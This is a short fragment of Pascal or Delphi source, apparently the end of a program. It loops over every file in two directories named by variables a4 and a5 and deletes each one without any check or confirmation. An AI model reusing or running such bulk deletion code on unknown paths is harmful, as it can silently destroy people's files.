if FindFirst(a4 + '*.*',faanyfile,S) <> 0 then FindClose(S) else
repeat
deletefile(a4 + S.name);
until
Findnext(S) <> 0;
FindClose(S);
if FindFirst(a5 + '*.*',faanyfile,S) <> 0 then FindClose(S) else
repeat
deletefile(a5 + S.name);
until
Findnext(S) <> 0;
FindClose(S);
end.
